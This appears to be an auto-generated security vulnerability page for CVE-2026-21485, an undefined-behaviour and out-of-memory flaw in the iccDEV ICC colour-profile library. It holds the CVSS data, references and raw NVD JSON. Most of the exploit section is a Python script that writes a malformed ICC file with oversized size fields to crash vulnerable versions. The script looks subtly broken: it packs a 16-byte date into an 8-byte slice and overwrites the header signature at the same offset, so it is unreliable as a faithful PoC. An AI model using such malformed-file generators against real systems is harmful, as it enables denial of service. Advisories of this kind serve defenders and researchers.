Security Vulnerability Report
中文
CVE-2026-21485 CVSS 8.8 HIGH

CVE-2026-21485

Published: 2026-01-06 04:15:54
Last Modified: 2026-01-14 18:45:37

Description

iccDEV provides a set of libraries and tools for working with ICC color management profiles. Versions 2.3.1.1 and below are prone to have Undefined Behavior (UB) and Out of Memory errors. This issue is fixed in version 2.3.1.2.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:* - VULNERABLE
iccDEV <= 2.3.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-21485 PoC - Malicious ICC Profile Generator # This PoC demonstrates generating a malformed ICC profile to trigger UB/OOM import struct import os def create_malformed_icc_profile(): """ Generate a malformed ICC profile to trigger CVE-2026-21485 Undefined Behavior and Out of Memory conditions in iccDEV <= 2.3.1.1 """ # ICC Profile Header (128 bytes) header = bytearray(128) # Profile size - set to large value to trigger OOM profile_size = 0x7FFFFFFF # 2GB - abnormal large size struct.pack_into('>I', header, 0, profile_size) # Preferred CMM type header[4:8] = b'lcms' # Profile version header[8:12] = struct.pack('>I', 0x02500000) # Profile device class header[12:16] = b'mntr' # display device # Color space header[16:20] = b'RGB ' # PCS header[20:24] = b'Lab ' # Creation date/time header[36:44] = struct.pack('>IIII', 2026, 1, 6, 0) # Profile file signature header[36:40] = b'acsp' # Tag table tag_count = 1 tag_offset = 128 + 4 + tag_count * 12 # Tag table entry tag_signature = b'XYZ ' # XYZ tag tag_data_offset = tag_offset tag_data_size = 0x10000000 # Huge size to trigger OOM tag_table = struct.pack('>I', tag_count) tag_table += struct.pack('>III', int.from_bytes(tag_signature, 'big'), tag_data_offset, tag_data_size ) # Malformed tag data with invalid values tag_data = bytearray(b'\x00' * 256) # Construct profile profile = header + tag_table + tag_data return bytes(profile) def main(): """ Main function to generate and save the PoC ICC profile """ print("[*] Generating CVE-2026-21485 PoC ICC Profile") print("[*] Target: iccDEV <= 2.3.1.1") malicious_profile = create_malformed_icc_profile() output_file = "CVE-2026-21485_malicious.icc" with open(output_file, 'wb') as f: f.write(malicious_profile) print(f"[+] PoC ICC profile saved to: {output_file}") print(f"[+] File size: {len(malicious_profile)} bytes") print("\n[!] Usage: Load this profile using vulnerable iccDEV version") print("[!] Expected result: Undefined Behavior or Out of Memory error") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21485", "sourceIdentifier": "[email protected]", "published": "2026-01-06T04:15:53.790", "lastModified": "2026-01-14T18:45:37.330", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "iccDEV provides a set of libraries and tools for working with ICC color management profiles. Versions 2.3.1.1 and below are prone to have Undefined Behavior (UB) and Out of Memory errors. This issue is fixed in version 2.3.1.2."}, {"lang": "es", "value": "iccDEV proporciona un conjunto de bibliotecas y herramientas para trabajar con perfiles de gestión de color ICC. Las versiones 2.3.1.1 e inferiores son propensas a tener Comportamiento Indefinido (UB) y errores de falta de memoria. Este problema está solucionado en la versión 2.3.1.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-190"}, {"lang": "en", "value": "CWE-400"}, {"lang": "en", "value": "CWE-476"}, {"lang": "en", "value": "CWE-787"}, {"lang": "en", "value": "CWE-1284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.1.2", "matchCriteriaId": "D34CF745-E75A-4F1C-AD7B-9AC1A2E9F680"}]}]}], "references": [{"url": "https://github.com/InternationalColorConsortium/iccDEV/commit/c136aac51d25cbb4d9db63f071edad4f088843df", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/340", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/security/advisories/GHSA-chp2-4gv5-2432", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/340", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}